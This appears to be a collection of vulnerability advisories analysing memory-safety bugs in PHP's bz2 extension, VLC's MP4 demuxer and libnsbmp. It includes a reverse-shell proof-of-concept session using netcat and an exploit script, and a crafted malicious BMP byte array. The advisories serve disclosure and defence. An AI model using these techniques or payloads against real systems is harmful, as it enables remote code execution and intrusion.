count) 39 | 139 { 40 | 140 struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract; 41 | 141 size_t ret = 0; 42 | 142 43 | 143 do { 44 | 144 int just_read; 45 | ... 46 | 148 just_read = BZ2_bzread(self->bz_file, buf, to_read); 47 | 149 48 | 150 if (just_read < 1) { 49 | 151 stream->eof = 0 == just_read; 50 | 152 break; 51 | 153 } 52 | 154 53 | 155 ret += just_read; 54 | 156 } while (ret < count); 55 | 157 56 | 158 return ret; 57 | 159 } 58 | #+end_src 59 | 60 | The erroneous return values for Bzip2 are as follows: 61 | 62 | bzip2-1.0.6/bzlib.h 63 | #+begin_src c 64 | 038 #define BZ_SEQUENCE_ERROR (-1) 65 | 039 #define BZ_PARAM_ERROR (-2) 66 | 040 #define BZ_MEM_ERROR (-3) 67 | 041 #define BZ_DATA_ERROR (-4) 68 | 042 #define BZ_DATA_ERROR_MAGIC (-5) 69 | 043 #define BZ_IO_ERROR (-6) 70 | 044 #define BZ_UNEXPECTED_EOF (-7) 71 | 045 #define BZ_OUTBUFF_FULL (-8) 72 | 046 #define BZ_CONFIG_ERROR (-9) 73 | #+end_src 74 | 75 | Should the invocation of BZ2_bzread() fail, the loop would simply be 76 | broken out of (bz2.c:152) and execution would continue with bzread() 77 | returning RETURN_NEW_STR(data). 78 | 79 | According to the manual [1], bzread() returns FALSE on error; however 80 | that does not seem to ever happen. 81 | 82 | Due to the way that the bzip2 library deals with state, this could 83 | result in an exploitable condition if a user were to call bzread() 84 | after an error, eg: 85 | 86 | #+begin_src php 87 | $data = ""; 88 | while (!feof($fp)) { 89 | $res = bzread($fp); 90 | if ($res === FALSE) { 91 | exit("ERROR: bzread()"); 92 | } 93 | $data .= $res; 94 | } 95 | #+end_src 96 | 97 | 98 | * Exploitation 99 | One way the lack of error-checking could be abused is through 100 | out-of-bound writes that may occur when ~BZ2_decompress()~ (BZ2_bzread() 101 | -> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the 102 | ~pos~ array using user-controlled selectors as indices: 103 | 104 | bzip2-1.0.6/decompress.c 105 | #+begin_src c 106 | 106 Int32 BZ2_decompress ( DState* s ) 107 | 107 { 108 | 108 UChar uc; 109 | 109 Int32 retVal; 110 | ... 111 | 113 /* stuff that needs to be saved/restored */ 112 | 114 Int32 i; 113 | 115 Int32 j; 114 | ... 115 | 118 Int32 nGroups; 116 | 119 Int32 nSelectors; 117 | ... 118 | 167 /*restore from the save area*/ 119 | 168 i = s->save_i; 120 | 169 j = s->save_j; 121 | ... 122 | 172 nGroups = s->save_nGroups; 123 | 173 nSelectors = s->save_nSelectors; 124 | ... 125 | 195 switch (s->state) { 126 | ... 127 | 286 /*--- Now the selectors ---*/ 128 | 287 GET_BITS(BZ_X_SELECTOR_1, nGroups, 3); 129 | 288 if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR); 130 | 289 GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15); 131 | 290 if (nSelectors < 1) RETURN(BZ_DATA_ERROR); 132 | 291 for (i = 0; i < nSelectors; i++) { 133 | 292 j = 0; 134 | 293 while (True) { 135 | 294 GET_BIT(BZ_X_SELECTOR_3, uc); 136 | 295 if (uc == 0) break; 137 | 296 j++; 138 | 297 if (j >= nGroups) RETURN(BZ_DATA_ERROR); 139 | 298 } 140 | 299 s->selectorMtf[i] = j; 141 | 300 } 142 | 301 143 | 302 /*--- Undo the MTF values for the selectors. ---*/ 144 | 303 { 145 | 304 UChar pos[BZ_N_GROUPS], tmp, v; 146 | 305 for (v = 0; v < nGroups; v++) pos[v] = v; 147 | 306 148 | 307 for (i = 0; i < nSelectors; i++) { 149 | 308 v = s->selectorMtf[i]; 150 | 309 tmp = pos[v]; 151 | 310 while (v > 0) { pos[v] = pos[v-1]; v--; } 152 | 311 pos[0] = tmp; 153 | 312 s->selector[i] = tmp; 154 | 313 } 155 | 314 } 156 | 315 157 | ... 158 | 613 save_state_and_return: 159 | 614 160 | 615 s->save_i = i; 161 | 616 s->save_j = j; 162 | ... 163 | 619 s->save_nGroups = nGroups; 164 | 620 s->save_nSelectors = nSelectors; 165 | ... 166 | 640 return retVal; 167 | 641 } 168 | #+end_src 169 | 170 | bzip2-1.0.6/decompress.c 171 | #+begin_src c 172 | 070 #define GET_BIT(lll,uuu) \ 173 | 071 GET_BITS(lll,uuu,1) 174 | #+end_src 175 | 176 | bzip2-1.0.6/decompress.c 177 | #+begin_src c 178 | 043 #define GET_BITS(lll,vvv,nnn) \ 179 | 044 case lll: s->state = lll; \ 180 | 045 while (True) { \ 181 | ... 182 | 065 } 183 | #+end_src 184 | 185 | If j >= nGroups (decompress.c:297), BZ2_decompress() would save its 186 | state and return BZ_DATA_ERROR. If the caller don't act on the 187 | erroneous retval, but rather invokes BZ2_decompress() again, the saved 188 | state would be restored (including ~i~ and ~j~) and the switch statement 189 | would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the 190 | preceding initialization of ~i = 0~ and ~j = 0~ would not be executed. 191 | 192 | In pseudocode it could be read as something like: 193 | 194 | #+begin_src c 195 | i = s->save_i; 196 | j = s->save_j; 197 | 198 | switch (s->state) { 199 | case BZ_X_SELECTOR_2: 200 | s->state = BZ_X_SELECTOR_2; 201 | 202 | nSelectors = get_15_bits... 203 | 204 | for (i = 0; i < nSelectors; i++) { 205 | j = 0; 206 | while (True) { 207 | goto iter; 208 | case BZ_X_SELECTOR_3: 209 | iter: 210 | s->state = BZ_X_SELECTOR_3; 211 | 212 | uc = get_1_bit... 213 | 214 | if (uc == 0) goto done; 215 | j++; 216 | if (j >= nGroups) { 217 | retVal = BZ_DATA_ERROR; 218 | goto save_state_and_return; 219 | } 220 | goto iter; 221 | done: 222 | s->selectorMtf[i] = j; 223 | #+end_src 224 | 225 | An example selector with nGroup=6: 226 | #+begin_src 227 | 11111111111110 228 | ||||| `|||||| `- goto done; s->selectorMtf[i] = 13; 229 | `´ j++; 230 | j++; goto save_state_and_return; 231 | goto iter; 232 | #+end_src 233 | 234 | Since the selectors are used as indices to ~pos~ in the subsequent loop, 235 | an ~nSelectors~ amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes 236 | could occur if BZ2_decompress() is invoked in spite of a previous error. 237 | 238 | bzip2-1.0.6/decompress.c 239 | #+begin_src c 240 | 304 UChar pos[BZ_N_GROUPS], tmp, v; 241 | 305 for (v = 0; v < nGroups; v++) pos[v] = v; 242 | 306 243 | 307 for (i = 0; i < nSelectors; i++) { 244 | 308 v = s->selectorMtf[i]; 245 | 309 tmp = pos[v]; 246 | 310 while (v > 0) { pos[v] = pos[v-1]; v--; } 247 | 311 pos[0] = tmp; 248 | 312 s->selector[i] = tmp; 249 | 313 } 250 | #+end_src 251 | 252 | bzip2-1.0.6/bzlib_private.h 253 | #+begin_src c 254 | 121 #define BZ_N_GROUPS 6 255 | #+end_src 256 | 257 | 258 | * PoC 259 | Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the 260 | official repo [2]: 261 | 262 | #+begin_src sh 263 | $ nc -v -l 1.2.3.4 5555 & 264 | Listening on [1.2.3.4] (family 0, port 5555) 265 | 266 | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php 267 | [*] sending archive to http://target/upload.php (0) 268 | 269 | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479) 270 | $ fg 271 | id 272 | uid=80(www) gid=80(www) groups=80(www) 273 | 274 | uname -imrsU 275 | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000 276 | 277 | /usr/sbin/pkg query -g "=> %n-%v" php* 278 | => php70-7.0.8 279 | => php70-bz2-7.0.8 280 | 281 | cat upload.php 282 | 298 | #+end_src 299 | 300 | 301 | * Solution 302 | This issue has been assigned CVE-2016-5399 and can be mitigated by 303 | calling bzerror() on the handle between invocations of bzip2. 304 | 305 | Another partial solution has been introduced in PHP 7.0.9 and 5.5.38, 306 | whereby the stream is marked as EOF when an error is encountered; 307 | allowing this flaw to be avoided by using feof(). However, the PHP 308 | project considers this to be an issue in the underlying bzip2 309 | library[3]. 310 | 311 | 312 | * Footnotes 313 | 314 | [1] https://secure.php.net/manual/en/function.bzread.php 315 | 316 | [2] https://github.com/dyntopia/exploits/tree/master/CVE-2016-5399 317 | 318 | [3] https://bugs.php.net/bug.php?id=72613 319 | -------------------------------------------------------------------------------- /012-vlc.org: -------------------------------------------------------------------------------- 1 | #+title: CVE-2017-17670: vlc: type conversion vulnerability 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | * About 6 | A type conversion vulnerability exist in the MP4 demux module in VLC 7 | <=2.2.8. This issue has been assigned CVE-2017-17670 and it could be 8 | used to cause an arbitrary free. 9 | 10 | 11 | * Details 12 | MP4 is a container format for video, audio, subtitles and images. The 13 | various parts of an .mp4 are organized as hierarchical boxes/atoms in 14 | big-endian byte ordering [1]. 15 | 16 | VLC processes these boxes by using a lookup table: 17 | 18 | vlc-2.2.8/modules/demux/mp4/libmp4.c 19 | #+begin_src c 20 | 3297 static const struct 21 | 3298 { 22 | 3299 uint32_t i_type; 23 | 3300 int (*MP4_ReadBox_function )( stream_t *p_stream, MP4_Box_t *p_box ); 24 | 3301 void (*MP4_FreeBox_function )( MP4_Box_t *p_box ); 25 | 3302 uint32_t i_parent; /* set parent to restrict, duplicating if needed; 0 for any */ 26 | 3303 } MP4_Box_Function [] = 27 | 3304 { 28 | 3305 /* Containers */ 29 | 3306 { ATOM_moov, MP4_ReadBoxContainer, MP4_FreeBox_Common, 0 }, 30 | 3307 { ATOM_trak, MP4_ReadBoxContainer, MP4_FreeBox_Common, ATOM_moov }, 31 | .... 32 | 3565 /* Last entry */ 33 | 3566 { 0, MP4_ReadBox_default, NULL, 0 } 34 | 3567 }; 35 | #+end_src 36 | 37 | vlc-2.2.8/modules/demux/mp4/libmp4.c 38 | #+begin_src c 39 | 3574 static MP4_Box_t *MP4_ReadBox( stream_t *p_stream, MP4_Box_t *p_father ) 40 | 3575 { 41 | 3576 MP4_Box_t *p_box = calloc( 1, sizeof( MP4_Box_t ) ); /* Needed to ensure simple on error handler */ 42 | 3577 unsigned int i_index; 43 | .... 44 | 3582 if( !MP4_ReadBoxCommon( p_stream, p_box ) ) 45 | 3583 { 46 | .... 47 | 3587 } 48 | .... 49 | 3605 /* Now search function to call */ 50 | 3606 for( i_index = 0; ; i_index++ ) 51 | 3607 { 52 | .... 53 | 3613 if( ( MP4_Box_Function[i_index].i_type == p_box->i_type )|| 54 | 3614 ( MP4_Box_Function[i_index].i_type == 0 ) ) 55 | 3615 { 56 | 3616 break; 57 | 3617 } 58 | 3618 } 59 | 3619 60 | 3620 if( !(MP4_Box_Function[i_index].MP4_ReadBox_function)( p_stream, p_box ) ) 61 | 3621 { 62 | 3622 MP4_BoxFree( p_stream, p_box ); 63 | 3623 return NULL; 64 | 3624 } 65 | 3625 66 | 3626 return p_box; 67 | 3627 } 68 | #+end_src 69 | 70 | 71 | MP4_ReadBox() allocates a MP4_Box_t structure and invokes 72 | MP4_ReadBoxCommon() to read the properties common to all mp4 boxes; 73 | ~i_size~ and ~i_type~ (and optionally an extended size). Afterwards, 74 | MP4_Box_Function is used to dispatch further parsing to a suitable 75 | function based on its ~i_type~. 76 | 77 | When VLC is done with the boxes, they are freed with MP4_BoxFree(): 78 | 79 | vlc-2.2.8/modules/demux/mp4/libmp4.c 80 | #+begin_src c 81 | 3633 void MP4_BoxFree( stream_t *s, MP4_Box_t *p_box ) 82 | 3634 { 83 | 3635 unsigned int i_index; 84 | .... 85 | 3650 /* Now search function to call */ 86 | 3651 if( p_box->data.p_payload ) 87 | 3652 { 88 | 3653 for( i_index = 0; ; i_index++ ) 89 | 3654 { 90 | .... 91 | 3660 if( ( MP4_Box_Function[i_index].i_type == p_box->i_type )|| 92 | 3661 ( MP4_Box_Function[i_index].i_type == 0 ) ) 93 | 3662 { 94 | 3663 break; 95 | 3664 } 96 | 3665 } 97 | 3666 if( MP4_Box_Function[i_index].MP4_FreeBox_function == NULL ) 98 | 3667 { 99 | .... 100 | 3677 } 101 | 3678 else 102 | 3679 { 103 | 3680 MP4_Box_Function[i_index].MP4_FreeBox_function( p_box ); 104 | 3681 } 105 | .... 106 | 3685 } 107 | #+end_src 108 | 109 | Again, ~i_type~ is used to find a suitable free-function. 110 | 111 | The reason this may be problematic is that ~i_type~ could be changed 112 | when VLC handles ~sinf~ and ~frma~ boxes in TrackCreateES() -- meaning 113 | that a box may be read as one type, and freed as another. 114 | 115 | ~sinf~ is the "Protection Scheme Information Box" and it's used for 116 | protected/encrypted media. ~frma~ is the "Original Format Box" and it's 117 | used to declare the format of the unprotected media. 118 | 119 | If a sinf/frma is found underneath a sample box, the ~i_type~ of that 120 | sample is replaced with the original format declared in the ~frma~: 121 | 122 | vlc-2.2.8/modules/demux/mp4/mp4.c 123 | #+begin_src c 124 | 2180 static int TrackCreateES( demux_t *p_demux, mp4_track_t *p_track, 125 | 2181 unsigned int i_chunk, es_out_id_t **pp_es ) 126 | 2182 { 127 | .... 128 | 2208 p_sample = MP4_BoxGet( p_track->p_stsd, "[%d]", 129 | 2209 i_sample_description_index - 1 ); 130 | .... 131 | 2219 p_track->p_sample = p_sample; 132 | 2220 133 | 2221 if( ( p_frma = MP4_BoxGet( p_track->p_sample, "sinf/frma" ) ) && p_frma->data.p_frma ) 134 | 2222 { 135 | 2223 msg_Warn( p_demux, "Original Format Box: %4.4s", (char *)&p_frma->data.p_frma->i_type ); 136 | 2224 137 | 2225 p_sample->i_type = p_frma->data.p_frma->i_type; 138 | 2226 } 139 | .... 140 | #+end_src 141 | 142 | No sanity check is done to make sure that the MP4_FreeBox_function 143 | associated with the new ~i_type~ is compatible with the old 144 | MP4_ReadBox_function. 145 | 146 | 147 | * Example 148 | One way to abuse the type change is to have a ~soun~ changed to a 149 | ~vide~. This results in a 72-byte allocation (x86-64) for the 150 | ~p_sample_soun~ member of the p_box->data union when the box is read: 151 | 152 | vlc-2.2.8/modules/demux/mp4/libmp4.c 153 | #+begin_src c 154 | 1614 static int MP4_ReadBox_sample_soun( stream_t *p_stream, MP4_Box_t *p_box ) 155 | 1615 { 156 | 1616 p_box->i_handler = ATOM_soun; 157 | 1617 MP4_READBOX_ENTER( MP4_Box_data_sample_soun_t ); 158 | .... 159 | #+end_src 160 | 161 | vlc-2.2.8/modules/demux/mp4/libmp4.h 162 | #+begin_src c 163 | 1351 #define MP4_READBOX_ENTER( MP4_Box_data_TYPE_t ) \ 164 | .... 165 | 1369 if( !( p_box->data.p_payload = calloc( 1, sizeof( MP4_Box_data_TYPE_t ) ) ) ) \ 166 | 1370 { \ 167 | .... 168 | 1373 } 169 | 170 | #+end_src 171 | 172 | where ~p_box~ is MP4_Box_t: 173 | 174 | vlc-2.2.8/modules/demux/mp4/libmp4.h 175 | #+begin_src c 176 | 1284 typedef struct MP4_Box_s 177 | 1285 { 178 | .... 179 | 1296 MP4_Box_data_t data; /* union of pointers on extended data depending 180 | 1297 on i_type (or i_usertype) */ 181 | .... 182 | 1306 } MP4_Box_t; 183 | #+end_src 184 | 185 | and MP4_Box_data_t: 186 | 187 | vlc-2.2.8/modules/demux/mp4/libmp4.h 188 | #+begin_src c 189 | 1200 typedef union MP4_Box_data_s 190 | 1201 { 191 | .... 192 | 1220 MP4_Box_data_sample_vide_t *p_sample_vide; 193 | 1221 MP4_Box_data_sample_soun_t *p_sample_soun; 194 | .... 195 | 1278 void *p_payload; /* for unknow type */ 196 | 1279 } MP4_Box_data_t; 197 | #+end_src 198 | 199 | #+begin_src sh 200 | (gdb) p sizeof(MP4_Box_data_sample_soun_t) 201 | $1 = 72 202 | #+end_src 203 | 204 | After the box has had its type changed to ~vide~ and it's later freed, 205 | the ~p_sample_vide~ member of the p_box->data union is used: 206 | 207 | vlc-2.2.8/modules/demux/mp4/libmp4.c 208 | #+begin_src c 209 | 1861 void MP4_FreeBox_sample_vide( MP4_Box_t *p_box ) 210 | 1862 { 211 | 1863 FREENULL( p_box->data.p_sample_vide->p_qt_image_description ); 212 | 1864 } 213 | #+end_src 214 | 215 | #+begin_src c 216 | (gdb) p sizeof(MP4_Box_data_sample_vide_t) 217 | $2 = 96 218 | (gdb) 219 | #+end_src 220 | 221 | vlc-2.2.8/modules/demux/mp4/libmp4.h 222 | #+begin_src c 223 | 529 typedef struct MP4_Box_data_sample_vide_s 224 | 530 { 225 | ... 226 | 557 uint8_t *p_qt_image_description; 227 | 558 228 | 559 } MP4_Box_data_sample_vide_t; 229 | #+end_src 230 | 231 | ~p_sample_vide~ is 24 bytes larger than ~p_sample_soun~, and 232 | ~p_qt_image_description~ is at the end of the vide struct; i.e. the 233 | pointer to be free()d is read out-of-bounds from potentially 234 | user-controlled memory. 235 | 236 | ~mkmp4.py~ at [2] 237 | 238 | #+begin_src sh 239 | $ uname -imrs 240 | FreeBSD 11.1-RELEASE-p4 amd64 GENERIC 241 | $ ./mkmp4.py file.mp4 242 | $ vlc --version 243 | VLC media player 2.2.8 Weatherwax (revision 2.2.7-14-g3cc1d8cba9) 244 | $ gdb -q --args vlc file.mp4 245 | (gdb) set breakpoint pending on 246 | (gdb) b libmp4.c:1618 247 | No source file named libmp4.c. 248 | Breakpoint 1 (libmp4.c:1618) pending. 249 | (gdb) b libmp4.c:1863 250 | No source file named libmp4.c. 251 | Breakpoint 2 (libmp4.c:1863) pending. 252 | (gdb) r 253 | [...] 254 | Breakpoint 3, MP4_ReadBox_sample_soun (p_stream=0x802ab2710, p_box=0x802a85000) at demux/mp4/libmp4.c:1618 255 | 1618 p_box->data.p_sample_soun->p_qt_description = NULL; 256 | (gdb) p p_box->data.p_sample_soun 257 | $1 = (MP4_Box_data_sample_soun_t *) 0x802a79810 258 | (gdb) c 259 | Continuing. 260 | 261 | Breakpoint 4, MP4_FreeBox_sample_vide (p_box=0x802a85000) at demux/mp4/libmp4.c:1863 262 | 1863 FREENULL( p_box->data.p_sample_vide->p_qt_image_description ); 263 | (gdb) p p_box->data.p_sample_vide 264 | $2 = (MP4_Box_data_sample_vide_t *) 0x802a79810 265 | (gdb) p p_box->data.p_sample_vide->p_qt_image_description 266 | $3 = (uint8_t *) 0x1122334455667788 267 | (gdb) b free 268 | Breakpoint 5 at 0x8019d3ce4 269 | (gdb) c 270 | Continuing. 271 | 272 | Breakpoint 5, 0x00000008019d3ce4 in free () from /lib/libc.so.7 273 | (gdb) p/x $rdi 274 | $4 = 0x1122334455667788 275 | (gdb) c 276 | Continuing. 277 | 278 | Program received signal SIGBUS, Bus error. 279 | 0x00000008019d36f3 in realloc () from /lib/libc.so.7 280 | (gdb) x/i $rip 281 | 0x8019d36f3 : mov rbx,QWORD PTR [rax+rcx*8+0x68] 282 | (gdb) i r 283 | rax 0x1122334455600000 1234605616436084736 284 | rbx 0x1122334455667788 1234605616436508552 285 | rcx 0x5a 90 286 | [...] 287 | (gdb) bt 4 288 | #0 0x00000008019d36f3 in realloc () from /lib/libc.so.7 289 | #1 0x00000008019d3d51 in free () from /lib/libc.so.7 290 | #2 0x0000000806d7fafd in MP4_FreeBox_sample_vide (p_box=0x802a85000) at demux/mp4/libmp4.c:1863 291 | #3 0x0000000806d7fcfd in MP4_BoxFree (s=0x802ab2710, p_box=0x802a85000) at demux/mp4/libmp4.c:3680 292 | #+end_src 293 | 294 | 295 | * Solution 296 | This issue does not affect the HEAD of the VLC master branch. 297 | 298 | 299 | * Footnotes 300 | [1] http://xhelmboyx.tripod.com/formats/mp4-layout.txt 301 | 302 | [2] https://gist.github.com/dyntopia/194d912287656f66dd502158b0cd2e68 303 | -------------------------------------------------------------------------------- /003-libnsbmp.org: -------------------------------------------------------------------------------- 1 | #+title: libnsbmp: heap overflow (CVE-2015-7508) and out-of-bounds read (CVE-2015-7507) 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | * Overview 6 | 7 | Libnsbmp[1] is a decoding library for BMP and ICO files. 8 | It is primarily developed and used as part of the NetSurf project. 9 | 10 | As of version 0.1.2, libnsbmp is vulnerable to a heap overflow 11 | (CVE-2015-7508) and an out-of-bounds read (CVE-2015-7507). 12 | 13 | 14 | * CVE-2015-7508 15 | 16 | libnsbmp expects that the user-supplied ~bmp_bitmap_cb_create~ callback 17 | allocates enough memory to accommodate for ~bmp->width * bmp->height * 18 | 4~ bytes. However, due to the way ~pixels_left~ is calculated, the last 19 | row of run-length encoded data may expand beyond the end of 20 | ~bmp->bitmap~, resulting in a heap overflow. 21 | 22 | 23 | src/libnsbmp.c #951..1097: 24 | #+begin_src c 25 | static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) { 26 | [...] 27 | swidth = bmp->bitmap_callbacks.bitmap_get_bpp(bmp->bitmap) * bmp->width; 28 | top = bmp->bitmap_callbacks.bitmap_get_buffer(bmp->bitmap); 29 | [...] 30 | do { 31 | [...] 32 | length = *data++; 33 | if (length == 0) { 34 | [...] 35 | /* 00 - NN means escape NN pixels */ 36 | if (bmp->reversed) { 37 | pixels_left = (y + 1) * bmp->width - x; 38 | scanline = (void *)(top + (y * swidth)); 39 | } else { 40 | pixels_left = (bmp->height - y + 1) * bmp->width - x; 41 | scanline = (void *)(bottom - (y * swidth)); 42 | } 43 | if (length > pixels_left) 44 | length = pixels_left; 45 | if (data + length > end) 46 | return BMP_INSUFFICIENT_DATA; 47 | [...] 48 | } else { 49 | /* NN means perform RLE for NN pixels */ 50 | if (bmp->reversed) { 51 | pixels_left = (y + 1) * bmp->width - x; 52 | scanline = (void *)(top + (y * swidth)); 53 | } else { 54 | pixels_left = (bmp->height - y + 1) * bmp->width - x; 55 | scanline = (void *)(bottom - (y * swidth)); 56 | } 57 | if (length > pixels_left) 58 | length = pixels_left; 59 | [...] 60 | pixel2 = *data++; 61 | pixel = bmp->colour_table[pixel2 >> 4]; 62 | pixel2 = bmp->colour_table[pixel2 & 0xf]; 63 | for (i = 0; i < length; i++) { 64 | if (x >= bmp->width) { 65 | x = 0; 66 | if (++y > bmp->height) 67 | return BMP_DATA_ERROR; 68 | scanline -= bmp->width; 69 | } 70 | if ((i & 1) == 0) 71 | scanline[x++] = pixel; 72 | else 73 | scanline[x++] = pixel2; 74 | } 75 | } 76 | } 77 | } while (data < end); 78 | [...] 79 | } 80 | #+end_src 81 | 82 | 83 | Using NetSurf as an example: 84 | 85 | #+begin_src sh 86 | ~/netsurf-all-3.3/netsurf$ gdb -x heap.py --args ./nsgtk heap.bmp 87 | [...] 88 | heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefed, end of buf: 0x7fffe29fefec (+1) 89 | heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefef, end of buf: 0x7fffe29fefec (+3) 90 | heap overfow: pix: 0xff999999 ptr: 0x7fffe29feff1, end of buf: 0x7fffe29fefec (+5) 91 | 92 | Program received signal SIGSEGV, Segmentation fault. 93 | 0x00000000005183e4 in bmp_decode_rle (bmp=0xda9ff0, data=0xdb9e24 'A' , bytes=157, size=4) at src/libnsbmp.c:1091 94 | 1091 scanline[x++] = pixel2; 95 | (gdb) 96 | #+end_src 97 | 98 | 99 | heap.py: 100 | #+begin_src python 101 | class Breakpoint(gdb.Breakpoint): 102 | def stop(self): 103 | top = get_hex("top") 104 | width = get_hex("bmp->width") 105 | height = get_hex("bmp->height") 106 | bpp = get_hex("bmp->bpp") 107 | x = get_hex("x") 108 | scanline = get_hex("scanline") 109 | pixel2 = get_hex("pixel2") 110 | 111 | cur = scanline + x 112 | end = top + width * height * bpp 113 | if cur > end: 114 | print("heap overfow: pix: 0x%x ptr: 0x%x, end of buf: 0x%x (+%d)" % 115 | (pixel2, cur, end, cur - end)) 116 | return False 117 | 118 | def get_hex(arg): 119 | res = gdb.execute("print/x %s" % arg, to_string=True) 120 | x = res.split(" ")[-1].strip() 121 | return int(x, 16) 122 | 123 | Breakpoint("netsurf-all-3.3/libnsbmp/src/libnsbmp.c:1091") 124 | 125 | gdb.execute("run") 126 | #+end_src 127 | 128 | 129 | heap.bmp: 130 | #+begin_src c 131 | unsigned char heap[] = { 132 | /* bmp_analyse() */ 133 | 0x42, 0x4d, /* BM */ 134 | 0x41, 0x00, 0x00, 0x40, /* bmp size */ 135 | 0x00, 0x00, /* reserved */ 136 | 0x00, 0x00, /* reserved */ 137 | 0x00, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */ 138 | 139 | /* bmp_analyse_header() */ 140 | 0x6c, 0x00, 0x00, 0x00, /* header_size */ 141 | 0xff, 0x7f, 0x00, 0x00, /* width */ 142 | 0xf7, 0xff, 0xff, 0xff, /* height */ 143 | 0x01, 0x00, /* colour planes */ 144 | 0x04, 0x00, /* bmp->bpp */ 145 | 0x02, 0x00, 0x00, 0x00, /* bmp->encoding */ 146 | 0x04, 0x00, 0x00, 0x00, /* size of bitmap */ 147 | 0x41, 0x41, 0x00, 0x00, /* horizontal resolution */ 148 | 0x41, 0x41, 0x00, 0x00, /* vertical resolution */ 149 | 0x01, 0x00, 0x00, 0x00, /* bmp->colours */ 150 | 0x00, 0x00, 0x00, 0x00, /* number of important colours */ 151 | 0x41, 0x41, 0x41, 0x41, /* mask identifying bits of red component */ 152 | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */ 153 | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */ 154 | 155 | /* 156 | * NOTE: the first two bytes of the alpha mask are used in the 157 | * expansion of the last "line". 158 | * 159 | * 0xff = the number of bytes to expand, 160 | * 0x00 = the pixel which, combined with a bitwise AND against 0xf, 161 | * is used to dereference a (potentially) suiting "real" 162 | * pixel in bmp->colour_table. Since bmp->colours is 163 | * specified as 1, we want this to be 0. No bounds checking 164 | * is done and as such libnsbmp may be induced to read from 165 | * bmp->colour_table[out_of_bounds_index] (CVE-2015-7507) 166 | */ 167 | 0xff, 0x00, 0x41, 0x41, /* mask identifying bits of alpha component */ 168 | 169 | 0x41, 0x41, 0x41, 0x41, /* color space type */ 170 | 0x41, 0x41, 0x41, 0x41, /* x coordinate of red endpoint */ 171 | 0x41, 0x41, 0x41, 0x41, /* y coordinate of red endpoint */ 172 | 0x41, 0x41, 0x41, 0x41, /* z coordinate of red endpoint */ 173 | 0x41, 0x41, 0x41, 0x41, /* x coordinate of green endpoint */ 174 | 0x41, 0x00, 0x41, 0x41, /* y coordinate of green endpoint */ 175 | 0x41, 0x41, 0x41, 0x41, /* z coordinate of green endpoint */ 176 | 0x41, 0x41, 0x41, 0x41, /* x coordinate of blue endpoint */ 177 | 0x41, 0x41, 0x41, 0x41, /* y coordinate of blue endpoint */ 178 | 0x41, 0x41, 0x41, 0x41, /* z coordinate of blue endpoint */ 179 | 0x41, 0x41, 0x41, 0x41, /* gamma red coordinate scale value */ 180 | 0x41, 0x41, 0x41, 0x41, /* gamma green coordinate scale value */ 181 | 0x41, 0x41, 0x41, 0x41, /* gamma blue coordinate scale value */ 182 | 183 | /* 184 | * NOTE: this is what will be expanded on the last "line" 185 | */ 186 | 0x99, 0x99, 0x99, /* bmp->colour_table[0] */ 187 | 188 | 0x41, 0x41, 0x41, 0x41, 189 | 0x41, 0x41, 0x41, 0x41, 190 | 0x41, 0x41, 0x41, 0x41, 191 | 0x41, 0x41, 0x41, 0x41, 192 | 0x41, 0x41, 0x41, 0x41, 193 | 0x41, 0x41, 0x41, 0x41, 194 | 0x41, 0x41, 0x41, 0x41, 195 | 0x41, 0x41, 0x41, 0x41, 196 | }; 197 | #+end_src 198 | 199 | 200 | * CVE-2015-7507 201 | 202 | An out-of-bounds read may occur in libnsbmp due to a lack of boundary 203 | checking before dereferencing ~bmp->colour_table~ in ~bmp_decode_rgb()~ 204 | and ~bmp_decode_rle()~ with an index based on a user-supplied value. 205 | 206 | src/libnsbmp.c #306..558: 207 | #+begin_src c 208 | static bmp_result bmp_analyse_header(bmp_image *bmp, uint8_t *data) { 209 | [...] 210 | header_size = read_uint32(data, 0); 211 | [...] 212 | if (header_size == 12) { 213 | [...] 214 | bmp->bpp = read_uint16(data, 10); 215 | /** 216 | * The bpp value should be in the range 1-32, but the only 217 | * values considered legal are: 218 | * RGB ENCODING: 1, 4, 8, 16, 24 and 32 219 | */ 220 | if ((bmp->bpp != 1) && (bmp->bpp != 4) && 221 | (bmp->bpp != 8) && 222 | (bmp->bpp != 16) && 223 | (bmp->bpp != 24) && 224 | (bmp->bpp != 32)) 225 | return BMP_DATA_ERROR; 226 | bmp->colours = (1 << bmp->bpp); 227 | palette_size = 3; 228 | } else if (header_size < 40) { 229 | return BMP_DATA_ERROR; 230 | } else { 231 | [...] 232 | bmp->colours = read_uint32(data, 32); 233 | if (bmp->colours == 0) 234 | bmp->colours = (1 << bmp->bpp); 235 | palette_size = 4; 236 | } 237 | [...] 238 | if (bmp->bpp < 16) { 239 | [...] 240 | /* create the colour table */ 241 | bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4); 242 | if (!bmp->colour_table) 243 | return BMP_INSUFFICIENT_MEMORY; 244 | for (i = 0; i < bmp->colours; i++) { 245 | bmp->colour_table[i] = data[2] | (data[1] << 8) | (data[0] << 16); 246 | if (bmp->opaque) 247 | bmp->colour_table[i] |= (0xff << 24); 248 | data += palette_size; 249 | bmp->colour_table[i] = read_uint32((uint8_t *)&bmp->colour_table[i],0); 250 | } 251 | } 252 | [...] 253 | } 254 | #+end_src 255 | 256 | 257 | src/libnsbmp.c #951..1097: 258 | #+begin_src c 259 | static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) { 260 | [...] 261 | do { 262 | [...] 263 | length = *data++; 264 | if (length == 0) { 265 | [...] 266 | } else { 267 | /* 00 - NN means escape NN pixels */ 268 | [...] 